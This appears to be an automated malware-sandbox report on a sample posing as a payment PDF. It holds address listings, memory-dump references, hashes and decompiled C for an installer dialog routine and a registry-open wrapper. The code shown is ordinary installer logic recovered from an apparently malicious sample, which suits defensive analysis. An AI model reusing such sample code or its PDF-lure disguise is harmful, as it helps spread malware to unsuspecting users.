0x00406e41
0x00406e50
0x00406e54
0x00406e54
0x00406e79
0x00406ea0
0x00406ea0
0x00406ea6
0x00406ea6
0x00000000
0x00406e7b
0x00406e7b
0x00406e7f
0x0040702e
0x00000000
0x0040702e
0x00406e8b
0x00406e92
0x00406e9a
0x00406e9d
0x00000000
0x00406e9d
0x004067c5
0x004067c5
0x004067c9
0x004067d1
0x004067d4
0x004067d6
0x004067d9
0x004067db
0x004067e0
0x004067e3
0x004067ea
0x004067f1
0x004067f4
0x004067ff
0x00406807
0x00406807
0x00406801
0x00406801
0x00406801
0x004067f6
0x004067f6
0x004067f6
0x0040680e
0x0040682c
0x0040682e
0x00406a01
0x00406a01
0x00406a04
0x00406a07
0x00406a0a
0x00406a0d
0x00406a10
0x00406a13
0x00406a16
0x00406a19
0x00406a1f
0x00406a37
0x00406a3a
0x00406a3d
0x00406a40
0x00406a43
0x00406a49
0x00406a21
0x00406a21
0x00406a29
0x00406a2e
0x00406a30
0x00406a32
0x00406a32
0x00406a53
0x00406a56
0x004069f9
0x004069ff
0x00000000
0x00000000
0x00000000
0x00406a58
0x004069d4
0x004069d8
0x00406fe0
0x00000000
0x00406fe0
0x004069de
0x004069e1
0x004069e4
0x004069e8
0x004069eb
0x004069f1
0x004069f3
0x004069f3
0x004069f6
0x00000000
0x004069f6
0x00406810
0x00406810
0x00406813
0x00406819
0x0040681b
0x0040681b
0x0040681e
0x00406821
0x00406823
0x00406824
0x00406827
0x00406894
0x00406894
0x00406898
0x0040689b
0x0040689e
0x004068a1
0x004068a4
0x004068a5
0x004068a8
0x004068aa
0x004068b0
0x004068b3
0x004068b6
0x004068b9
0x004068bc
0x004068c2
0x004068de
0x004068e1
0x004068e4
0x004068e7
0x004068ee
0x004068f4
0x004068f8
0x004068c4
0x004068c4
0x004068c8
0x004068d0
0x004068d5
0x004068d7
0x004068d9
0x004068d9
0x00406902
0x00406905
0x0040687c
0x0040687c
0x00406882
0x00406935
0x0040693b
0x00000000
0x00000000
0x0040693d
0x00406940
0x00406943
0x00406946
0x00406949
0x0040694c
0x0040694f
0x00406952
0x00406955
0x0040695b
0x00406973
0x00406976
0x00406979
0x0040697c
0x0040697f
0x00406985
0x0040695d
0x0040695d
0x00406965
0x0040696a
0x0040696c
0x0040696e
0x0040696e
0x0040698f
0x00406992
0x00406910
0x00406914
0x00406fd4
0x00000000
0x00406fd4
0x0040691a
0x0040691d
0x00406920
0x00406924
0x00406927
0x0040692d
0x0040692f
0x0040692f
0x00406932
0x00406932
0x00406992
0x00406999
0x00406999
0x00406999
0x0040699d
0x0040699d
0x004069a0
0x004069a3
0x004069a7
0x00406fec
0x00000000
0x00406fec
0x004069ad
0x004069b0
0x004069b3
0x004069b6
0x004069b9
0x004069bc
0x004069bf
0x004069c1
0x004069c4
0x004069c7
0x004069ca
0x004069cc
0x004069cc
0x004069cc
0x00406b69
0x00406b69
0x00406b6c
0x00406b6c
0x00000000
0x00406b6c
0x0040688e
0x00000000
0x00000000
0x00000000
0x0040690b
0x00406857
0x0040685b
0x00406fc8
0x00407044
0x0040704c
0x00407053
0x00407055
0x0040705c
0x00407060
0x00407060
0x00406861
0x00406864
0x00406867
0x0040686b
0x0040686e
0x00406874
0x00406876
0x00406876
0x00406879
0x00000000
0x00406879
0x00406905
0x0040680e
0x00406642
0x00406642
0x0040664b
0x00407059
0x00407059
0x00000000
0x00407059
0x00406651
0x00000000
0x0040665c
0x00000000
0x00000000
0x00406665
0x00406668
0x0040666b
0x0040666f
0x00000000
0x00000000
0x00406675
0x00406678
0x0040667a
0x0040667b
0x0040667e
0x00406680
0x00406681
0x00406683
0x00406686
0x0040668b
0x00406690
0x00406699
0x004066ac
0x004066af
0x004066bb
0x004066e3
0x004066e5
0x004066f3
0x004066f3
0x004066f7
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e7
0x004066e7
0x004066ea
0x004066eb
0x004066eb
0x00000000
0x004066e7
0x004066c1
0x004066c6
0x004066c6
0x004066cf
0x004066d7
0x004066da
0x00000000
0x004066e0
0x004066e0
0x00000000
0x004066e0
0x00000000
0x004066fd
0x004066fd
0x00406701
0x00406fad
0x00000000
0x00406fad
0x0040670a
0x0040671a
0x0040671d
0x00406720
0x00406720
0x00406720
0x00406723
0x00406727
0x00000000
0x00000000
0x00406729
0x0040672f
0x00406759
0x0040675f
0x00406766
0x00000000
0x00406766
0x00406735
0x00406738
0x0040673d
0x0040673d
0x00406748
0x00406750
0x00406753
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406798
0x0040679e
0x004067a1
0x004067ae
0x004067b6
0x00000000
0x00000000
0x0040676d
0x0040676d
0x00406771
0x00406fbc
0x00000000
0x00406fbc
0x0040677d
0x00406788
0x00406788
0x00406788
0x0040678b
0x0040678e
0x00406791
0x00406796
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a5d
0x00406a61
0x00406a7f
0x00406a82
0x00406a89
0x00406a8c
0x00406a8f
0x00406a92
0x00406a95
0x00406a98
0x00406a9a
0x00406aa1
0x00406aa2
0x00406aa4
0x00406aa7
0x00406aaa
0x00406aad
0x00406aad
0x00406ab2
0x00000000
0x00406ab2
0x00406a63
0x00406a66
0x00406a69
0x00406a73
0x00000000
0x00000000
0x00406ac7
0x00406acb
0x00406aee
0x00406af1
0x00406af4
0x00406afe
0x00406acd
0x00406acd
0x00406ad0
0x00406ad3
0x00406ad6
0x00406ae3
0x00406ae6
0x00406ae6
0x00000000
0x00000000
0x00406b0a
0x00406b0e
0x00000000
0x00000000
0x00406b14
0x00406b18
0x00000000
0x00000000
0x00406b1e
0x00406b20
0x00406b24
0x00406b24
0x00406b27
0x00406b2b
0x00000000
0x00000000
0x00406b7b
0x00406b7f
0x00406b86
0x00406b89
0x00406b8c
0x00406b96
0x00000000
0x00406b96
0x00406b81
0x00000000
0x00000000
0x00406ba2
0x00406ba6
0x00406bad
0x00406bb0
0x00406bb3
0x00406ba8
0x00406ba8
0x00406ba8
0x00406bb6
0x00406bb9
0x00406bbc
0x00406bbc
0x00406bbf
0x00406bc2
0x00406bc5
0x00406bc5
0x00406bc8
0x00406bcf
0x00406bd4
0x00000000
0x00000000
0x00406c62
0x00406c62
0x00406c66
0x00407004
0x00000000
0x00407004
0x00406c6c
0x00406c6f
0x00406c72
0x00406c76
0x00406c79
0x00406c7f
0x00406c81
0x00406c81
0x00406c81
0x00406c84
0x00406c87
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406ce5
0x00406ce5
0x00406ce9
0x00407010
0x00000000
0x00407010
0x00406cef
0x00406cf2
0x00406cf5
0x00406cf9
0x00406cfc
0x00406d02
0x00406d04
0x00406d04
0x00406d04
0x00406d07
0x00000000
0x00000000
0x00406ab5
0x00406ab5
0x00406ab8
0x00000000
0x00000000
0x00406df4
0x00406df8
0x00406e1a
0x00406e1d
0x00406e27
0x00000000
0x00406e27
0x00406dfa
0x00406dfd
0x00406e01
0x00406e04
0x00406e04
0x00406e07
0x00000000
0x00000000
0x00406eb1
0x00406eb5
0x00406ed3
0x00406ed3
0x00406ed3
0x00406eda
0x00406ee1
0x00406ee8
0x00406ee8
0x00000000
0x00406ee8
0x00406eb7
0x00406eba
0x00406ebd
0x00406ec0
0x00406ec7
0x00406e0b
0x00406e0b
0x00406e0e
0x00000000
0x00000000
0x00406fa2
0x00406fa5
0x00000000
0x00000000
0x00406bdc
0x00406bde
0x00406be5
0x00406be6
0x00406be8
0x00406beb
0x00000000
0x00000000
0x00406bf3
0x00406bf6
0x00406bf9
0x00406bfb
0x00406bfd
0x00406bfd
0x00406bfe
0x00406c01
0x00406c08
0x00406c0b
0x00406c19
0x00000000
0x00000000
0x00406eef
0x00406eef
0x00406ef2
0x00406ef9
0x00000000
0x00000000
0x00406efe
0x00406efe
0x00406f02
0x0040703a
0x00000000
0x0040703a
0x00406f08
0x00406f0b
0x00406f0e
0x00406f12
0x00406f15
0x00406f1b
0x00406f1d
0x00406f1d
0x00406f1d
0x00406f20
0x00406f23
0x00406f23
0x00406f23
0x00406f23
0x00406f26
0x00406f26
0x00406f2a
0x00406f8a
0x00406f8d
0x00406f92
0x00406f93
0x00406f95
0x00406f97
0x00406f9a
0x00000000
0x00406f9a
0x00406f2c
0x00406f32
0x00406f35
0x00406f38
0x00406f3b
0x00406f3e
0x00406f41
0x00406f44
0x00406f47
0x00406f4a
0x00406f4d
0x00406f66
0x00406f69
0x00406f6c
0x00406f6f
0x00406f73
0x00406f75
0x00406f75
0x00406f76
0x00406f79
0x00406f4f
0x00406f4f
0x00406f57
0x00406f5c
0x00406f5e
0x00406f61
0x00406f61
0x00406f7c
0x00406f83
0x00000000
0x00406f85
0x00000000
0x00406f85
0x00000000
0x00406c21
0x00406c24
0x00406c5a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8a
0x00406d8d
0x00406d8d
0x00406d90
0x00406d92
0x0040701c
0x00000000
0x0040701c
0x00406d98
0x00406d9b
0x00000000
0x00000000
0x00406da1
0x00406da5
0x00406da8
0x00406da8
0x00406da8
0x00000000
0x00406da8
0x00406c26
0x00406c28
0x00406c2a
0x00406c2c
0x00406c2f
0x00406c30
0x00406c32
0x00406c34
0x00406c37
0x00406c3a
0x00406c50
0x00406c55
0x00406c8d
0x00406c8d
0x00406c91
0x00406cbd
0x00406cbf
0x00406cc6
0x00406cc9
0x00406ccc
0x00406ccc
0x00406cd1
0x00406cd1
0x00406cd3
0x00406cd6
0x00406cdd
0x00406ce0
0x00406d0d
0x00406d0d
0x00406d10
0x00406d13
0x00406d87
0x00406d87
0x00406d87
0x00000000
0x00406d87
0x00406d15
0x00406d1b
0x00406d1e
0x00406d21
0x00406d24
0x00406d27
0x00406d2a
0x00406d2d
0x00406d30
0x00406d33
0x00406d36
0x00406d4f
0x00406d51
0x00406d54
0x00406d55
0x00406d58
0x00406d5a
0x00406d5d
0x00406d5f
0x00406d61
0x00406d64
0x00406d66
0x00406d69
0x00406d6d
0x00406d6f
0x00406d6f
0x00406d70
0x00406d73
0x00406d76
0x00406d38
0x00406d38
0x00406d40
0x00406d45
0x00406d47
0x00406d4a
0x00406d4a
0x00406d79
0x00406d80
0x00406d0a
0x00406d0a
0x00406d0a
0x00406d0a
0x00000000
0x00406d82
0x00000000
0x00406d82
0x00406d80
0x00406c93
0x00406c96
0x00406c98
0x00406c9b
0x00406c9e
0x00406ca1
0x00406ca3
0x00406ca6
0x00406ca9
0x00406ca9
0x00406cac
0x00406cac
0x00406caf
0x00406cb6
0x00406c8a
0x00406c8a
0x00406c8a
0x00406c8a
0x00000000
0x00406cb8
0x00000000
0x00406cb8
0x00406cb6
0x00406c3c
0x00406c3f
0x00406c41
0x00406c44
0x00000000
0x00000000
0x00000000
0x00000000
0x00406b2e
0x00406b2e
0x00406b32
0x00406ff8
0x00000000
0x00406ff8
0x00406b38
0x00406b3b
0x00406b3e
0x00406b41
0x00406b43
0x00406b43
0x00406b43
0x00406b46
0x00406b49
0x00406b4c
0x00406b4f
0x00406b52
0x00406b55
0x00406b56
0x00406b58
0x00406b58
0x00406b58
0x00406b5b
0x00406b5e
0x00406b61
0x00406b64
0x00406b64
0x00406b64
0x00406b67
0x00000000
0x00000000
0x00406dab
0x00406dab
0x00406dab
0x00406daf
0x00000000
0x00000000
0x00406db5
0x00406db8
0x00406dbb
0x00406dbe
0x00406dc0
0x00406dc0
0x00406dc0
0x00406dc3
0x00406dc6
0x00406dc9
0x00406dcc
0x00406dcf
0x00406dd2
0x00406dd3
0x00406dd5
0x00406dd5
0x00406dd5
0x00406dd8
0x00406ddb
0x00406dde
0x00406de1
0x00406de4
0x00406de8
0x00406dea
0x00406ded
0x00000000
0x00406def
0x00000000
0x00406def
0x00406ded
0x00407022
0x00000000
0x00000000
0x00406651

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 634db48916f7a97cd593a88a8f27a2a6a53995630c6979533469a6cf2a501d9c
Instruction ID: b77f02bc2ee5da486f1689b8d44b34109ba54b696cf3d27aba4845a127c97f42
Opcode Fuzzy Hash: 634db48916f7a97cd593a88a8f27a2a6a53995630c6979533469a6cf2a501d9c
Instruction Fuzzy Hash: CEF17671D00269CBCF28CFA8C8946ADBBB0FF44305F25856ED856BB281D7385A86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00405F47 Relevance: 1.5, APIs: 1, Instructions: 19
registryCOMMON

Download Yara Rule

C-Code - Quality: 64%

			E00405F47(void* __eflags, intOrPtr _a4, char* _a8, int _a12, void** _a16) {
				void* _t7;
				long _t8;
				void* _t9;

				_t7 = E00405ECC(_a4,  &_a12);
				if(_t7 != 0) {
					_t8 = RegOpenKeyExA(_t7, _a8, 0, _a12, _a16); // executed
					return _t8;
				}
				_push("true");
				_pop(_t9);
				return _t9;
			}

0x00405f51
0x00405f58
0x00405f6b
0x00000000
0x00405f6b
0x00405f5a
0x00405f5c
0x00000000

APIs

RegOpenKeyExA.KERNELBASE(00000000,?,00000000,?,?,?,?,?,00405FD5,?,?,?,?,?,Call), ref: 00405F6B

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88590117082.0000000000437000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction ID: fced92d9612f5b6fa1e6e2d4533c029b8c19dcfe99612180af7d1277f5ba7959
Opcode Fuzzy Hash: dcd566976f3bef00ddda20b11fb2537fa700d8cbfb920dfffbe2909342267143
Instruction Fuzzy Hash: 50D0123200420EBBDF115FA0DD01FAB3B2DEB08310F104426FE19A41A1D776D534AB68

Uniqueness

Uniqueness Score: -1.00%

Function 00403C71 Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 346
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00403C71(struct HWND__* _a4, signed int _a8, int _a12, long _a16) {
				struct HWND__* _v32;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t37;
				signed int _t39;
				struct HWND__* _t49;
				signed int _t68;
				struct HWND__* _t74;
				signed int _t87;
				struct HWND__* _t92;
				signed int _t100;
				int _t104;
				signed int _t116;
				signed int _t117;
				int _t118;
				signed int _t123;
				struct HWND__* _t126;
				struct HWND__* _t127;
				int _t128;
				long _t131;
				int _t133;
				int _t134;
				void* _t135;
				void* _t143;

				_t116 = _a8;
				if(_t116 == 0x110 || _t116 == 0x408) {
					_t35 = _a12;
					_t126 = _a4;
					__eflags = _t116 - 0x110;
					 *0x420d10 = _t35;
					if(_t116 == 0x110) {
						 *0x424728 = _t126;
						 *0x420d24 = GetDlgItem(_t126, "true");
						_t92 = GetDlgItem(_t126, "true");
						_push(0xffffffff);
						_push(0x1c);
						 *0x41fcf0 = _t92;
						E00404145(_t126);
						SetClassLongA(_t126, 0xfffffff2,  *0x423f08);
						 *0x423eec = E0040140B("true");
						_t35 = 1;
						__eflags = 1;
						 *0x420d10 = 1;
					}
					_t123 =  *0x40a1dc; // 0x0
					_t134 = 0;
					_t131 = (_t123 << 6) +  *0x424760;
					__eflags = _t123;
					if(_t123 < 0) {
						L34:
						E00404191(0x40b);
						while(1) {
							_t37 =  *0x420d10;
							 *0x40a1dc =  *0x40a1dc + _t37;
							_t131 = _t131 + (_t37 << 6);
							_t39 =  *0x40a1dc; // 0x0
							__eflags = _t39 -  *0x424764;
							if(_t39 ==  *0x424764) {
								E0040140B("true");
							}
							__eflags =  *0x423eec - _t134; // 0x0
							if(__eflags != 0) {
								break;
							}
							__eflags =  *0x40a1dc -  *0x424764; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t131 + 0x14);
							E00406154(_t117, _t126, _t131, 0x42c800,  *((intOrPtr*)(_t131 + 0x24)));
							_push( *((intOrPtr*)(_t131 + 0x20)));
							_push(0xfffffc19);
							E00404145(_t126);
							_push( *((intOrPtr*)(_t131 + 0x1c)));
							_push(0xfffffc1b);
							E00404145(_t126);
							_push( *((intOrPtr*)(_t131 + 0x28)));
							_push(0xfffffc1a);
							E00404145(_t126);
							_t49 = GetDlgItem(_t126, "true");
							__eflags =  *0x4247cc - _t134;
							_v32 = _t49;
							if( *0x4247cc != _t134) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t49, _t117 & 0x00000008); // executed
							EnableWindow( *(_t135 + 0x30), _t117 & 0x00000100); // executed
							E00404167(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x41fcf0, _t118);
							__eflags = _t118 - _t134;
							if(_t118 == _t134) {
								_push("true");
							} else {
								_push(_t134);
							}
							EnableMenuItem(GetSystemMenu(_t126, _t134), 0xf060, ??);
							SendMessageA( *(_t135 + 0x38), 0xf4, _t134, "true");
							__eflags =  *0x4247cc - _t134;
							if( *0x4247cc == _t134) {
								_push( *0x420d24);
							} else {
								SendMessageA(_t126, 0x401, "true", _t134);
								_push( *0x41fcf0);
							}
							E0040417A();
							E004060C1(0x420d28, E00403C52());
							E00406154(0x420d28, _t126, _t131,  &(0x420d28[lstrlenA(0x420d28)]),  *((intOrPtr*)(_t131 + 0x18)));
							SetWindowTextA(_t126, 0x420d28); // executed
							_push(_t134);
							_t68 = E00401389( *((intOrPtr*)(_t131 + 8)));
							__eflags = _t68;
							if(_t68 != 0) {
								continue;
							} else {
								__eflags =  *_t131 - _t134;
								if( *_t131 == _t134) {
									continue;
								}
								__eflags =  *(_t131 + 4) - 5;
								if( *(_t131 + 4) != 5) {
									DestroyWindow( *0x423ef8); // executed
									 *0x420500 = _t131;
									__eflags =  *_t131 - _t134;
									if( *_t131 <= _t134) {
										goto L58;
									}
									_t74 = CreateDialogParamA( *0x424720,  *_t131 +  *0x423f00 & 0x0000ffff, _t126,  *(0x40a1e0 +  *(_t131 + 4) * 4), _t131); // executed
									__eflags = _t74 - _t134;
									 *0x423ef8 = _t74;
									if(_t74 == _t134) {
										goto L58;
									}
									_push( *((intOrPtr*)(_t131 + 0x2c)));
									_push("true");
									E00404145(_t74);
									GetWindowRect(GetDlgItem(_t126, 0x3fa), _t135 + 0x10);
									ScreenToClient(_t126, _t135 + 0x10);
									SetWindowPos( *0x423ef8, _t134,  *(_t135 + 0x20),  *(_t135 + 0x20), _t134, _t134, 0x15);
									_push(_t134);
									E00401389( *((intOrPtr*)(_t131 + 0xc)));
									__eflags =  *0x423eec - _t134; // 0x0
									if(__eflags != 0) {
										goto L61;
									}
									ShowWindow( *0x423ef8, "true"); // executed
									E00404191(0x405);
									goto L58;
								}
								__eflags =  *0x4247cc - _t134;
								if( *0x4247cc != _t134) {
									goto L61;
								}
								__eflags =  *0x4247c0 - _t134;
								if( *0x4247c0 != _t134) {
									continue;
								}
								goto L61;
							}
						}
						DestroyWindow( *0x423ef8);
						 *0x424728 = _t134;
						EndDialog(_t126,  *0x4200f8);
						goto L58;
					} else {
						__eflags = _t35 - 1;
						if(_t35 != 1) {
							L33:
							__eflags =  *_t131 - _t134;
							if( *_t131 == _t134) {
								goto L61;
							}
							goto L34;
						}
						_push(0);
						_t87 = E00401389( *((intOrPtr*)(_t131 + 0x10)));
						__eflags = _t87;
						if(_t87 == 0) {
							goto L33;
						}
						SendMessageA( *0x423ef8, 0x40f, 0, "true");
						__eflags =  *0x423eec - _t134; // 0x0
						return 0 | __eflags == 0x00000000;
					}
				} else {
					_t126 = _a4;
					_t134 = 0;
					if(_t116 == 0x47) {
						SetWindowPos( *0x420d08, _t126, 0, 0, 0, 0, 0x13);
					}
					if(_t116 == 5) {
						asm("sbb eax, eax");
						ShowWindow( *0x420d08,  ~(_a12 - 1) & _t116);
					}
					if(_t116 != 0x40d) {
						__eflags = _t116 - 0x11;
						if(_t116 != 0x11) {
							__eflags = _t116 - 0x111;
							if(_t116 != 0x111) {
								L26:
								return E004041AC(_t116, _a12, _a16);
							}
							_t133 = _a12 & 0x0000ffff;
							_t127 = GetDlgItem(_t126, _t133);
							__eflags = _t127 - _t134;
							if(_t127 == _t134) {
								L13:
								__eflags = _t133 - 1;
								if(_t133 != 1) {
									__eflags = _t133 - 3;
									if(_t133 != 3) {
										_push("true");
										_pop(_t128);
										__eflags = _t133 - _t128;
										if(_t133 != _t128) {
											L25:
											SendMessageA( *0x423ef8, 0x111, _a12, _a16);
											goto L26;
										}
										__eflags =  *0x4247cc - _t134;
										if( *0x4247cc == _t134) {
											_t100 = E0040140B("true");
											__eflags = _t100;
											if(_t100 != 0) {
												goto L26;
											}
											 *0x4200f8 = 1;
											L21:
											_push(0x78);
											L22:
											E0040411E();
											goto L26;
										}
										E0040140B(_t128);
										 *0x4200f8 = _t128;
										goto L21;
									}
									__eflags =  *0x40a1dc - _t134; // 0x0
									if(__eflags <= 0) {
										goto L25;
									}
									_push(0xffffffff);
									goto L22;
								}
								_push(_t133);
								goto L22;
							}
							SendMessageA(_t127, 0xf3, _t134, _t134);
							_t104 = IsWindowEnabled(_t127);
							__eflags = _t104;
							if(_t104 == 0) {
								goto L61;
							}
							goto L13;
						}
						SetWindowLongA(_t126, _t134, _t134);
						return 1;
					} else {
						DestroyWindow( *0x423ef8);
						 *0x423ef8 = _a12;
						L58:
						if( *0x421d28 == _t134) {
							_t143 =  *0x423ef8 - _t134; // 0x103c6
							if(_t143 != 0) {
								ShowWindow(_t126, 0xa); // executed
								 *0x421d28 = 1;
							}
						}
						L61:
						return 0;
					}
				}
			}

0x00403c7a
0x00403c83
0x00403dc4
0x00403dc8
0x00403dcc
0x00403dce
0x00403dd3
0x00403dde
0x00403de9
0x00403dee
0x00403df0
0x00403df2
0x00403df5
0x00403dfa
0x00403e08
0x00403e15
0x00403e1c
0x00403e1c
0x00403e1d
0x00403e1d
0x00403e22
0x00403e28
0x00403e2f
0x00403e35
0x00403e37
0x00403e77
0x00403e7c
0x00403e81
0x00403e81
0x00403e86
0x00403e8f
0x00403e91
0x00403e96
0x00403e9c
0x00403ea0
0x00403ea0
0x00403ea5
0x00403eab
0x00000000
0x00000000
0x00403eb6
0x00403ebc
0x00000000
0x00000000
0x00403ec5
0x00403ecd
0x00403ed2
0x00403ed5
0x00403edb
0x00403ee0
0x00403ee3
0x00403ee9
0x00403eee
0x00403ef1
0x00403ef7
0x00403eff
0x00403f05
0x00403f0b
0x00403f0f
0x00403f16
0x00403f16
0x00403f16
0x00403f20
0x00403f32
0x00403f3e
0x00403f43
0x00403f4d
0x00403f53
0x00403f55
0x00403f5a
0x00403f57
0x00403f57
0x00403f57
0x00403f6a
0x00403f82
0x00403f84
0x00403f8a
0x00403f9f
0x00403f8c
0x00403f95
0x00403f97
0x00403f97
0x00403fa5
0x00403fb6
0x00403fc7
0x00403fce
0x00403fd4
0x00403fd8
0x00403fdd
0x00403fdf
0x00000000
0x00403fe5
0x00403fe5
0x00403fe7
0x00000000
0x00000000
0x00403fed
0x00403ff1
0x00404016
0x0040401c
0x00404022
0x00404024
0x00000000
0x00000000
0x0040404a
0x00404050
0x00404052
0x00404057
0x00000000
0x00000000
0x0040405d
0x00404060
0x00404063
0x0040407a
0x00404086
0x0040409f
0x004040a5
0x004040a9
0x004040ae
0x004040b4
0x00000000
0x00000000
0x004040be
0x004040c9
0x00000000
0x004040c9
0x00403ff3
0x00403ff9
0x00000000
0x00000000
0x00403fff
0x00404005
0x00000000
0x00000000
0x00000000
0x0040400b
0x00403fdf
0x004040d6
0x004040e2
0x004040e9
0x00000000
0x00403e39
0x00403e39
0x00403e3c
0x00403e6f
0x00403e6f
0x00403e71
0x00000000
0x00000000
0x00000000
0x00403e71
0x00403e3e
0x00403e42
0x00403e47
0x00403e49
0x00000000
0x00000000
0x00403e59
0x00403e61
0x00000000
0x00403e67
0x00403c95
0x00403c95
0x00403c99
0x00403c9e
0x00403cad
0x00403cad
0x00403cb6
0x00403cbf
0x00403cca
0x00403cca
0x00403cd6
0x00403cf2
0x00403cf5
0x00403d08
0x00403d0e
0x00403db1
0x00000000
0x00403dba
0x00403d14
0x00403d21
0x00403d23
0x00403d25
0x00403d44
0x00403d44
0x00403d47
0x00403d4c
0x00403d4f
0x00403d5d
0x00403d5f
0x00403d60
0x00403d62
0x00403d98
0x00403dab
0x00000000
0x00403dab
0x00403d64
0x00403d6a
0x00403d83
0x00403d88
0x00403d8a
0x00000000
0x00000000
0x00403d8c
0x00403d78
0x00403d78
0x00403d7a
0x00403d7a
0x00000000
0x00403d7a
0x00403d6d
0x00403d72
0x00000000
0x00403d72
0x00403d51
0x00403d57
0x00000000
0x00000000
0x00403d59
0x00000000
0x00403d59
0x00403d49
0x00000000
0x00403d49
0x00403d2f
0x00403d36
0x00403d3c
0x00403d3e
0x00000000
0x00000000
0x00000000
0x00403d3e
0x00403cfa
0x00000000
0x00403cd8
0x00403cde
0x00403ce8
0x004040ef
0x004040f5
0x004040f7
0x004040fd
0x00404102
0x00404108
0x00404108
0x004040fd
0x00404112
0x00000000
0x00404112
0x00403cd6

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00403CAD
ShowWindow.USER32(?), ref: 00403CCA
DestroyWindow.USER32 ref: 00403CDE
SetWindowLongA.USER32(?,00000000,00000000), ref: 00403CFA
GetDlgItem.USER32(?,?), ref: 00403D1B
SendMessageA.USER32(00000000,000000F3,00000000,00000000), ref: 00403D2F
IsWindowEnabled.USER32(00000000), ref: 00403D36
GetDlgItem.USER32(?,?), ref: 00403DE4
GetDlgItem.USER32(?,?), ref: 00403DEE
SetClassLongA.USER32(?,000000F2,?), ref: 00403E08
SendMessageA.USER32(0000040F,00000000,?,?), ref: 00403E59
GetDlgItem.USER32(?,?), ref: 00403EFF
ShowWindow.USER32(00000000,?), ref: 00403F20
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00403F32
EnableWindow.USER32(?,?), ref: 00403F4D
GetSystemMenu.USER32(?,00000000,0000F060,?), ref: 00403F63
EnableMenuItem.USER32(00000000), ref: 00403F6A
SendMessageA.USER32(?,000000F4,00000000,?), ref: 00403F82
SendMessageA.USER32(?,00000401,?,00000000), ref: 00403F95
lstrlenA.KERNEL32(respektlst Setup: Installing,?,respektlst Setup: Installing,00000000), ref: 00403FBF
SetWindowTextA.USER32(?,respektlst Setup: Installing), ref: 00403FCE
ShowWindow.USER32(?,0000000A), ref: 00404102

Strings

dj, xrefs: 0040401C
respektlst Setup: Installing, xrefs: 00403FAF, 00403FB5, 00403FBE, 00403FCC

Memory Dump Source

Source File: 00000004.00000002.88589632828.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.88589573110.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589725109.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000413000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.000000000042A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.88589777859.0000000000436000.00000004.00000001.01000000.00000004.sdmpDownload File
